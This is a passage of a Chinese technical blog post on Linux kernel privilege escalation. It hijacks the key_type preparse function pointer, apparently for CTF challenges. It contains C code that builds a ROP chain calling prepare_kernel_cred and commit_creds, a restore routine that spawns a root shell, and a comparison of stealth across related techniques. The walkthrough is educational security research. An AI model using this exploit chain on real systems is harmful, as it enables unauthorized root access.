rop_chain[i++] = kernel_offset + COMMIT_CREDS;
rop_chain[i++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x22;
rop_chain[i++] = *(size_t *)"BinRacer";
rop_chain[i++] = *(size_t *)"BinRacer";
rop_chain[i++] = (size_t)restore_key_type_user;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp + 8;
rop_chain[i++] = user_ss;
ROP链执行路径: ROP链执行从栈迁移后的控制流程重定位开始,经过参数设置、函数调用、寄存器优化、权限应用和环境恢复等多个阶段,最终完成权限验证。
flowchart TD
A[控制流程跳转: MOV_RSP_RBP_POP_RBP_RET] --> B[栈指针迁移: RSP指向用户空间ROP链]
B --> C[执行pop_rdi_ret序列<br/>设置函数参数]
C --> D[参数传递: RDI = 0]
D --> E["控制流程转移: 执行prepare_kernel_cred(0)"]
E --> F[凭证创建: RAX = 新cred结构指针]
F --> G[执行pop_rcx_ret序列<br/>设置寄存器值]
G --> H[寄存器设置: RCX = 0]
H --> I[寄存器优化<br/>准备函数调用环境]
I --> J["控制流程转移: 执行commit_creds(cred)"]
J --> K[权限应用: 当前进程获得权限提升]
K --> L[环境恢复<br/>返回用户空间]
L --> M[权限验证: 验证权限提升结果]
style A fill:#e1f5fe
style B fill:#fff3e0
style C fill:#c8e6c9
style D fill:#fff3e0
style E fill:#c8e6c9
style F fill:#fff3e0
style G fill:#c8e6c9
style H fill:#fff3e0
style I fill:#c8e6c9
style J fill:#fff3e0
style K fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
style L fill:#c8e6c9
style M fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
详细执行步骤分析:
控制流程跳转:
MOV_RSP_RBP_POP_RBP_RET指令将栈指针设置为rbp寄存器的值,然后从栈中弹出rbp寄存器,最后返回。栈迁移后,新的栈指针指向用户空间预置的ROP链起始位置。参数环境准备:执行
pop_rdi_ret指令序列,从栈弹出0到rdi寄存器,为后续函数调用准备参数。函数地址获取:控制流程继续执行,从栈弹出
prepare_kernel_cred函数地址,控制流程转到内核功能函数。凭证创建:调用
prepare_kernel_cred(0)创建新的凭证结构,返回的cred结构指针保存在rax寄存器。寄存器优化:执行
pop_rcx_ret设置rcx寄存器为0,然后执行mov_rdi_rax_rep_movsq_rdi_rsi_ret优化参数传递,为下一步函数调用准备正确的参数。权限应用:从栈弹出
commit_creds函数地址并调用,将新创建的凭证应用到当前进程。此操作完成进程权限提升。环境恢复:执行
swapgs_restore_regs_and_return_to_usermode返回用户空间,恢复内核-用户空间执行环境。控制流程返回:正常返回用户空间,完成权限验证操作,控制流程引导过程结束。
技术关键点分析:
栈迁移精确性:精心设计的栈迁移指令确保RSP正确指向用户空间ROP链位置,这是控制流程引导成功的技术基础。
控制流程连续性:每个步骤自然衔接,形成完整的控制流程执行链,确保控制流程能按预定路径连续执行。
寄存器协同:寄存器间协同工作,优化执行效率和控制流程传递,提高控制流程引导的成功率和可靠性。
状态可恢复:执行后能正常返回用户空间,保持系统执行环境的稳定性,确保控制流程引导对系统的影响最小化。
6-7. 原始状态恢复与权限验证
在完成控制流程引导和权限提升操作后,恢复key_type_user->preparse的原始值是确保系统稳定性的重要环节。此恢复操作体现对系统完整性的尊重,避免因函数指针修改导致的系统不稳定或功能异常。
恢复操作实现: 恢复操作的实现遵循与函数指针劫持相似的技术路径,但目标是将修改后的指针值还原为原始状态。通过计算preparse函数指针在数据结构中的精确偏移,执行恢复操作将函数指针的值从MOV_RSP_RBP_POP_RBP_RET指令地址改回原始的user_preparse函数地址。
恢复函数定义:
void restore_key_type_user() {
log.info("恢复key_type_user->preparse原始值");
chunk.user_buffer[0x30 / 8] = kernel_offset + USER_PREPARSE;
edit_chunk(device_fds[2], &chunk);
// 启动高权限shell环境
get_root_shell();
}
权限验证与shell环境获取: 在控制流程引导完成并返回用户空间后,进行权限验证操作。通过检查当前进程的有效用户ID,确认权限提升是否成功。验证通过后,执行system("/bin/sh")函数,启动具有高权限的shell环境。
恢复的重要性:
系统稳定性维护:避免因函数指针修改导致的系统不稳定,防止内核崩溃或异常行为,确保系统能继续正常运行。
功能完整性保护:保持密钥子系统的正常使用,确保系统功能不受影响,维护系统功能的完整性。
痕迹最小化:减少对系统状态的影响,符合最小影响原则,降低技术验证对系统的长期影响。
可重复性保障:为后续技术验证提供清洁的环境,确保技术验证过程的可重复性和可验证性。
6-8. 技术特性对比分析
本章介绍的key_type结构控制流程引导技术与前几章讨论的tty_ldisc_ops和modprobe_path技术代表三种不同的内核控制流程管理方法。三者的技术特性和适用场景各有侧重,体现内核控制流程引导技术的多样性和发展脉络。
技术特性对比:
| 对比维度 | key_type控制流程引导技术 | tty_ldisc_ops控制流程引导技术 | modprobe_path路径控制技术 |
|---|---|---|---|
| 目标结构 | 密钥子系统key_type结构 | 终端子系统tty_ldisc_ops结构 | 内核全局变量modprobe_path |
| 触发机制 | 系统调用(add_key)直接触发 | 系统调用(read)直接触发 | 文件执行间接触发 |
| 控制流程转移 | 通过篡改preparse函数指针 | 通过篡改read函数指针 | 通过修改路径字符串 |
| 执行环境 | 完全在内核空间完成 | 完全在内核空间完成 | 需要内核-用户空间协作 |
| 技术复杂度 | 高,需构建完整ROP链 | 高,需精确控制寄存器状态 | 中,相对简单 |
| 隐蔽性 | 高,利用合法系统调用 | 高,利用合法系统调用 | 中,需外部文件配合 |
技术演进关系: 从modprobe_path到tty_ldisc_ops再到key_type,可看到内核控制流程引导技术从简单的数据修改发展到复杂的控制流程劫持,技术难度和隐蔽性逐渐提高。每种技术都有其适用的场景和条件,选择合适的技术取决于目标系统的具体配置。
关键技术差异:
- 触发入口:
add_key()系统调用相比read()系统调用和文件执行触发提供不同的技术入口点 - 控制粒度:函数指针篡改提供更精细的控制粒度,能直接引导控制流程
- 环境要求:完全内核空间操作减少对外部组件的依赖
- 恢复难度:函数指针篡改技术更容易实现状态恢复,系统影响更小
6-9. 技术总结
key_type结构控制流程引导技术代表内核控制流程引导技术的高级阶段。与前几章技术相比,此技术提供不同的技术入口点和控制方法,扩展内核控制流程引导技术的应用范围。通过精心设计的ROP链和精确的内存操作,实现完全在内核空间完成的控制流程引导操作。从技术演进角度看,本章技术是前几章技术的自然延伸和深化,体现内核控制流程引导技术从简单到复杂、从单一到多样化的发展路径。
6-10. 测试结果

参考
https://github.com/BinRacer/pwn4kernel/tree/master/src/FreelistHijacking https://github.com/BinRacer/pwn4kernel/tree/master/src/FreelistHijacking2 https://github.com/BinRacer/pwn4kernel/tree/master/src/FreelistHijacking3 https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#例题:RWCTF2022高校赛-Digging-into-kernel-1-2 https://ltfa1l.top/2024/08/01/system/kernel/Linux_kernel4_freelist劫持/#0x03-初探freelist劫持:以RWCTF2022体验赛-Digging-into-kernel2为例
文档信息
- 本文作者:BinRacer
- 本文链接:https://BinRacer.github.io/2026/02/21/pwn4kernel-FreelistHijacking/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)